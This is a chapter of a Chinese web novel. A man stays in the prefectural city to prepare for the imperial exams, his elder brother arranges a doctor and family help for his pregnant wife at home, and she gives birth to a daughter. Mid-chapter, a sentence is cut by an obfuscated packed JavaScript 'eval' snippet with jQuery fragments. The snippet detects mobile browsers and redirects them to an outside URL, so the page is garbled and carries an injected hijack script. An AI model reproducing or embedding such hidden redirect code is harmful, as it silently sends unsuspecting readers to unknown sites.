43. 第四十三章 得女

作品:《重生之小夫妻奋斗记

    沈松陪考期间,算是长了见识。听到沈楠要留在陈州府,他是一口答应。


    “你好好在府城备考。你侄子刚买了一个小院子,在杏花巷。”沈松得意的说道:“我去看了,院子虽小但是五脏俱全。已经打扫过,你到时候带着沈毛儿直接住在那里就行。然后早晚去袁家上课。”


    沈松不知道袁家的背景,但是在与书院人闲谈的过程中,也知道袁家比自己要强的多,还请了举人进行一对一的教学,肯定比回书院,和大家一起上课强的多。


    沈楠没想到沈明辉买了宅子,但是他对吃住在哪,不是很在乎。之前就和袁平安一起住在流光院,两个人处得挺好,本来打算去袁家住一段时间。


    不过自家有了院子是方便不少。


    他担心的是另外一件事,踌躇了一会儿,开口道:“我要是留在府城了,就是迎春,算着日子五月底就要生了,我……”


    沈楠说不下去了,自己上辈子没有孩子,这辈子好不容易有了下一代,自己却赶不回去。


    但是县试、府试、院试是一条向上没有回头的路,如果考不过,就要从头再来。如果他府试考到吊车尾,回去也就回去了,但是现在自己考得名次还不错,院试的机会非常大,自己不冲一把,就是太遗憾了。


    沈松算是大伯子,平常不好关心自己的弟媳妇,没想到李迎春马上就要临产的事情。


    他私心希望弟弟留在府城,考到现在多么不容易,但是也知道,作为将要出生的第一个孩子,对每个父亲都是意义不同的。


    “我听你嫂子说,弟妹这一次的怀像很不错。而且家里还有母亲在旁边照顾。再说了,在兴和,亲家不是也在身旁。你就是回去了,也帮不上忙。”


    沈松劝道:“而且,我听说院试的时间不确定。要看提学官到府城的时间,到之后三日内就要开考,你到时候你肯定要快马赶过来。那样太匆忙了,到时候你是两头都没有顾上。”


    沈楠也是担心这样,考过府试了,一定是要去见识院试考题的。但是提学官需要在全省主持院试,去每个府的时间都是不固定的,只能大致推算。根据往年的时间,大概在六月初,媳妇生产时间在五月末。


    沈松实在不想沈楠放弃好好准备院试的机会。虽然明年还能重新再来,但是成名要趁早,谁也不知道明年会发生什么事情,直接说道:“你留在府城吧,我回兴和给你主持大局。


    “益安堂的周大夫是咱们县的妇科圣手,现在年纪大了,不常坐诊。他就是好两口吃的,是珍馐楼的常客。我把他带去兴和,保准到时候母子平安。”


    沈楠没想到大哥把周大夫带去兴和,顿时高兴了:“那就实在感谢大哥,要是周大夫去,我就不用担心。”


    他很适应兴和的生活,甚至很喜欢,但是乡下的医疗条件太差。附近都没有正经的大夫,有个头疼发热都是自己硬抗过去,要不然就是去找土郎中弄点草药,煮水来喝。


    沈松看到能解决了弟弟的难题,也很高兴。虽然请周大夫要花费不少银子,包括让珍馐楼掌勺的大厨去兴和,肯定会影响店里的生意,但是和沈家每年向衙门打点的银子相比,还是少的多。要是沈楠考中秀才了,自家就能彻底改变门户,腰杆就能挺直不少。


    兴和沈宅里,张秀儿和李迎春婆媳二人,不知道沈氏兄弟的打算,还在算着沈楠考试的时间。


    张秀儿翻看着桌子上的皇历:“我估摸着这会儿,府试应该要张榜了。”


    李迎春在心里算了算,安慰道:“算着时间差不多了,但从府城回到县城,骑快马需要半天的时间。明天咱们就知道府试的结果了。”


    张秀儿看着媳妇大的已经看不见脚面的肚子,心里的话担心儿子不好说出来:“你今天怎么样?脚还肿吗?”


    李迎春之前只知道怀孕会身体发胖,把衣服的放量都做大了,唯独没想到脚也会肿,之前的鞋都不合适了,临时找来沈楠的鞋来穿,结果被婆婆发现了。


    “不怎么肿了。陈娘子说她当时也是这样,脚都大了两个尺码。”


    张秀儿生沈楠,已经过去太久了。自己已经记不清楚当时的情景。她现在就担心儿媳妇突然发动,儿子在府城赶不回来。自己在家如果出了意外,到时候恐怕会落下埋怨。


    “你要是有什么不适,要和我说?不行的话,我们就去县城请脉。”


    李迎春唯唯称是,但是看着自己的大肚子,实在是不想去县城。


    自己的大女婿在府城,张大妮这两天往沈家就跑的勤快一点。吃过午饭,她又把丈夫从县城带回来的腌酸梅给女儿带来。


    “娘,爹买来的果脯给妹妹留着吃吧。我这还有很多。”李银春把台案上的点心罐子打开给母亲看。


    张大妮把梅子取出来喂给女儿一颗:“你婆家买的是婆家买的,你爹给你买的是你爹的心意。”


    李银春给母亲倒了一杯茶:“爹又去县城了?不是前两天才去进货。”


    张大妮也捏了一颗梅子放在嘴里:“马上不是端午节了吗?家家户户都要包粽子,上回进的糯米已经卖完了。你爹又去进点货,过节的生意就是好做。”


    李迎春点点头,父亲是个会打算的,而且自家有骡车,比其他货郎能多装些货。


    张大妮看着屋里屋外没有人,问道:“你这收到女婿的消息了吗?我听说府城考完,六月份就该考院试了,女婿回来不回来?”


    在沈楠刚开始去书院的时候,李迎春很不习惯,毕竟是每天耳鬓厮磨的人。


    现在,李迎春既想他回来,又不想他回来。


    特别是现在自己怀孕了,不但身材完全走样,脸上也开始出现黄斑,头发还掉了很多。女为悦己者容,当时两人结亲,大家都说男才女貌,现在只有男才没有女貌了,而且晚上需要经常起夜,腿和脚也肿了。小草晚上睡在屋里陪着自己,也挺方便的。


    “你也知道,科举的事,也不是咱们说了算的。还是要看府衙的安排。”


    知女莫若母,张大妮也是从那个时候过来的:“你呀,不能让男人觉得一眨眼当爹了,一眨眼孩子出生了,再一眨眼孩子会说话了,长大了。”


    “不劳而获的东西,都不会珍惜。”张大妮掏心窝给女儿讲自己的心得。


    李迎春知道这是母亲的经验之谈,但是心里还有点矜持:“知道了。过两天,我给沈楠送信,告诉他家里的事,还等着他回来做主。”


    张大妮知道女儿比自己聪明。现在最主要的是让女儿给自己生个外孙,不想让女儿现在太过伤神,连忙转移话题,讲自己最近给儿子相亲的事情。


    沈松答应弟弟要回家主持大局,他也没有在府城多耽搁。带着明辉一起帮沈楠搬了家,然后请要留在府城复习的正阳县考生,一起在新家吃了饭,托大家多照顾沈楠后,自己就赶紧往家里赶。


    袁氏早就收到沈楠考中府试的消息,这两天也是被不少人恭维,看到丈夫回来了,就更加高兴。


    “我之前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151005|194934||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还想着你们要住到府城,直接备考院试呢。”袁氏拧了把热毛巾,给沈松搽脸。


    “本来是有这个打算。”沈松把热毛巾从头发到脸再到脖子,搽了一遍,终于从灰头土脸中缓了过来:“我这次去可算是长见识了。”


    沈松向袁氏好好吹嘘了这次的见闻,把袁氏听得一惊一乍的:“没想到二弟府试那么惊险。”


    沈松看到袁氏上套了,心里一松。他在路上想了许久,自己是大伯子,去照顾弟媳妇,怎么都不合适,还是要袁氏出马。这样就需要让她深刻了解府试的不容易,自家转变门楣的机会,就在此一举,一定不能让沈楠分心。


    然后提出了:“你也知道现在时间不凑巧,弟媳妇马上就要生了。要不是我苦劝,二弟一定要回来。”


    袁氏这会儿回过神来,看着沈松道:“说吧,你要我干什么?”


    多年的夫妻,袁氏看到丈夫吹了半天牛皮,然后又表功,就知道中间肯定有问题。


    沈松先把自己从府城带来的礼物给袁氏:“我这次天天呆在会馆里,都没有出去。还是二弟细心,最后走的时候一起去了银楼,提醒我给你带了礼物。你看府城银楼师傅的手艺,就是比咱正阳县的强。”


    袁氏看到眼前那套多宝头面,价值大概六七十两,直接说道:“这么贵的头面,所托非小吧。”


    “你看,能不能去兴和住一段时间。二弟那里老的老,小的小,需要个掌事人。”沈松一口气说出了请求。


    袁氏怎么也没想到,要让自己去照顾李迎春:“咱两家分家了,你知不知道?就算二弟考上了,咱家还是商户。”


    沈松喝了一口水,说道:“其实我一直在想,如果二弟考中了秀才,表明咱们老沈家是有读书的脑子的。”


    “到时候,把家里的店铺写成你的名字,然后去乡下置办些田地,咱们也换个身份。明辉明耀是耽误了,但是我们马上就能有孙子了,好好培养孙子,将来也能考秀才中状元做大官。”


    袁氏像是第一次认识丈夫一样,看着他。


    袁氏家里一直是做布料生意的,家里的姐妹兄弟都是嫁给小商人,也知道生意难做,经常受官府的盘剥,但是大家都如此,也就习惯了。


    她从来没想到丈夫居然有改换门楣的想法。


    沈松不说话,他这次去府城见识了什么万般皆下品,惟有读书高?


    陶城书院之前在他心里就是个书院,跟他家的珍馐楼没什么区别,一个是读书的地方,一个是吃饭的地方。


    但是这次短短路途去府城,长风镖局几乎全员出动,总镖头对陶城书院的齐教务长尊敬有加。更别说正阳会馆的东家、掌柜,甚至连县城守门的兵士,府衙的人都对齐教务长高看一眼。


    袁氏看到丈夫勾着头一言不发,只有握着茶杯的手微微发颤。心中一酸,伸手把自己的手包裹住丈夫的手:“你想做就去做的吧。不就是回家照顾弟妹吗?我都生两个小子了。你放心吧,一准没事。”


    远在兴和的李迎春,不知道大伯子的野望。


    第二天,张秀儿和李迎春看到沈松夫妻笑眯眯的从骡车上下来。后面的车队带着周大夫、大厨、药材还是吃食。


    袁氏把自己行李都搬来,自己帮不了丈夫什么大忙,但是照顾弟媳妇生孩字,有大夫有稳婆,自己肯定保证母子平安。


    五月最后一天,远在府城的沈楠终于接到家里来信。


    “五月二十七日,迎春生女,五斤六两。”